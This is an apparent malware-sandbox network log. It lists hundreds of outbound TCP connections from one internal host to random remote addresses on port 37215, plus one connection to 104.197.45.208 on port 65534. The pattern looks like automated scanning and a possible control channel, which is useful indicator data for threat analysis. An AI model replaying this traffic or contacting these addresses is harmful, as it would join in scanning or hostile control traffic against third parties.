Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 197.235.157.88:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 41.80.240.192:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 197.206.63.90:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 41.129.50.115:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 156.123.60.116:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 197.253.238.128:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 41.224.35.102:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 41.239.11.56:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 41.12.207.118:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 197.205.231.36:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 156.42.86.214:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 41.228.208.172:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 41.41.209.70:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 156.112.84.245:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 197.231.81.102:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 41.116.131.80:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 197.189.153.121:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 156.46.141.68:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 41.248.47.121:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 41.72.165.122:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 156.100.239.248:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 156.232.203.131:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 197.223.124.7:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 197.106.13.200:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 41.81.248.45:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 156.69.67.99:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 156.50.127.142:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 197.103.40.206:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 41.193.10.195:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 197.28.210.50:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 156.9.158.125:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 197.69.196.192:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 197.219.201.38:37215
Source: global traffic	TCP traffic: 192.168.2.13:49146 -> 104.197.45.208:65534
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 156.140.63.197:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 41.124.220.146:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 197.25.115.162:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 197.204.83.77:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 197.157.134.88:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 197.28.153.253:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 197.186.61.232:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 197.67.195.97:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 41.28.110.63:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 197.248.14.141:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 156.15.118.169:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 197.144.103.118:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 156.248.77.222:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 41.76.17.222:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 41.164.252.26:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 197.57.118.177:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 41.10.26.58:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 156.192.100.225:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 156.196.111.66:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 41.76.85.252:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 197.64.118.148:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 41.44.255.183:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 197.139.156.148:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 156.157.29.48:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 41.247.143.1:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 41.202.88.113:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 41.139.209.171:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 197.199.52.181:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 156.123.232.114:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 156.230.106.6:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 156.22.87.117:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 197.145.103.19:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 41.52.201.138:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 41.51.120.99:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 41.95.91.31:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 156.125.215.104:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 156.23.199.102:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 41.59.57.115:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 197.81.129.195:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 41.107.223.99:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 156.152.252.76:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 41.139.221.164:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 41.128.9.85:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 197.64.66.35:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 41.13.234.32:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 197.200.5.27:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 156.152.113.237:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 197.184.164.95:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 41.103.156.227:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 156.51.180.97:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 41.139.156.158:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 156.145.234.27:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 197.76.146.15:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 41.99.87.213:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 156.73.70.18:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 156.119.175.192:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 156.232.216.106:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 197.91.197.32:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 156.148.31.202:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 156.214.24.254:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 41.123.21.87:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 41.191.73.14:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 156.176.41.45:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 156.68.79.246:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 156.152.247.47:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 156.252.15.187:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 41.107.252.67:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 197.98.144.129:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 41.128.145.214:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 156.134.148.149:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 197.75.63.57:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 41.17.20.216:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 197.155.85.58:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 197.116.230.3:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 197.139.192.47:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 197.116.35.82:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 156.67.65.14:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 156.253.35.217:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 156.147.166.246:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 41.196.4.119:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 197.0.157.124:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 41.185.15.172:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 41.184.40.23:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 41.30.3.183:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 156.67.74.240:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 41.160.144.120:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 41.97.43.159:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 197.244.195.181:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 156.131.179.225:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 197.140.88.156:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 197.125.94.52:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 156.53.8.223:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 156.72.253.165:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 197.149.24.107:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 197.102.89.62:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 197.9.17.66:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 197.40.32.132:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 197.97.168.206:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 197.74.172.129:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 197.170.60.63:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 156.42.250.181:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 41.58.87.148:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 41.105.235.222:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 197.49.51.14:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 41.234.116.12:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 156.205.137.28:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 41.62.48.160:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 156.173.34.127:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 156.152.5.139:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 197.220.227.100:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 197.25.63.223:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 156.0.211.46:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 156.88.92.64:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 41.252.44.91:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 41.188.245.174:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 197.134.226.65:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 197.243.17.112:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 156.47.230.29:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 156.1.69.124:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 156.16.136.200:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 41.129.34.41:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 156.89.3.28:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 197.222.128.73:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 156.85.211.37:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 197.204.196.98:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 41.78.155.227:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 41.241.230.134:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 197.111.47.119:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 41.188.18.84:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 156.11.136.20:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 41.82.16.209:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 197.12.130.146:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 156.188.137.252:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 197.226.158.162:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 156.178.62.222:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 41.168.68.189:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 41.57.58.252:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 156.80.27.144:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 156.28.207.55:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 197.8.173.79:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 197.177.173.195:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 197.57.115.71:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 41.134.252.153:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 41.195.136.102:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 41.197.85.12:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 197.100.130.164:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 41.176.6.77:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 156.167.2.120:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 197.131.63.153:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 197.28.35.207:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 156.37.138.57:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 197.191.149.249:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 41.0.38.140:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 197.250.199.231:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 156.202.141.17:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 156.239.141.52:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 41.137.172.244:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 156.236.230.163:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 197.95.145.123:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 197.96.54.150:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 156.191.93.237:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 197.192.128.53:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 41.55.65.172:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 156.18.92.110:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 156.101.247.130:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 156.109.241.42:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 197.246.49.5:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 197.249.88.69:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 41.79.84.105:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 197.64.75.204:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 156.169.191.215:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 41.193.220.200:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 197.98.22.62:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 197.79.198.39:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 156.116.39.200:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 41.224.93.220:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 197.163.40.97:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 197.38.231.199:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 41.74.164.208:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 197.24.201.80:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 197.60.116.58:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 41.108.183.127:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 156.68.68.240:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 156.247.235.165:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 41.34.96.228:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 41.214.248.109:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 156.101.11.103:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 41.26.212.241:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 156.244.154.48:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 197.124.218.69:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 41.206.210.106:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 41.188.197.53:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 197.240.32.99:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 41.200.70.248:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 197.54.40.227:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 197.142.229.57:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 41.117.136.128:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 156.21.249.218:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 197.9.236.17:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 197.177.99.168:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 156.192.234.226:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 197.240.74.165:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 156.129.228.150:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 197.171.72.135:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 156.7.148.95:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 197.61.151.147:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 156.209.217.158:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 197.36.89.140:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 156.130.26.19:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 156.0.240.208:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 156.175.150.37:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 197.211.16.173:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 41.195.253.254:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 197.102.24.126:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 156.220.73.34:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 156.201.245.6:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 156.131.101.202:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 197.195.57.53:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 156.184.181.194:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 41.245.134.247:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 197.39.32.108:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 156.244.77.93:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 197.210.230.82:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 156.95.34.112:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 41.50.141.94:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 41.171.127.49:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 156.149.182.191:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 156.207.249.17:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 197.89.105.33:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 41.44.163.240:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 156.13.189.108:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 41.86.123.62:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 156.106.104.75:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 156.13.108.190:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 197.238.194.223:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 197.107.33.31:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 41.149.131.230:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 41.26.102.197:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 197.207.205.126:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 197.200.79.39:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 197.184.115.105:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 156.46.182.195:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 197.92.141.107:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 41.237.172.11:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 156.6.89.61:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 197.48.134.189:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 156.138.243.154:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 197.93.238.54:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 41.210.149.51:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 197.189.135.34:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 156.250.109.59:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 41.141.148.233:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 156.106.7.164:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 197.167.251.9:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 41.237.37.41:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 197.72.57.111:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 156.187.73.58:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 156.62.208.247:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 156.182.174.2:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 156.1.25.74:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 41.25.20.213:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 41.230.55.212:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 156.37.37.254:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 156.169.69.193:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 197.98.70.25:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 41.138.140.167:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 156.57.133.109:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 197.40.169.168:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 197.233.170.178:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 197.208.52.207:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 156.120.92.46:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 41.20.164.130:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 197.140.83.173:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 41.188.10.23:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 197.40.63.23:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 197.238.132.137:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 156.7.96.98:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 41.182.67.190:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 156.202.105.35:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 197.83.90.105:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 197.32.32.76:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 41.112.191.5:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 156.19.18.216:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 197.246.218.73:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 197.250.0.238:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 156.26.178.209:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 156.126.95.206:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 41.29.41.169:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 197.54.249.204:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 41.34.225.183:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 41.125.226.78:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 41.60.254.232:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 156.17.174.6:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 41.128.29.173:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 156.180.119.226:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 41.177.76.91:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 41.189.121.217:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 197.188.204.12:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 156.59.224.18:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 197.109.36.50:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 197.94.136.42:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 41.18.86.132:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 156.38.138.118:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 156.141.23.114:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 41.97.207.38:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 156.176.132.126:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 156.88.218.113:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 197.240.89.164:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 197.92.59.248:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 197.144.183.161:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 197.35.235.54:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 41.146.12.227:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 156.209.225.158:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 41.106.254.125:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 41.235.222.217:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 41.92.28.226:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 156.61.136.28:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 197.160.247.104:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 197.25.188.200:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 156.149.165.219:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 197.129.120.114:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 197.187.166.49:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 197.75.57.100:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 197.81.139.237:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 41.18.43.210:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 156.41.81.18:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 41.64.243.137:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 197.21.118.250:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 156.154.52.203:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 197.18.56.161:37215
Source: global traffic	TCP traffic: 192.168.2.13:14099 -> 156.209.35.18:37215
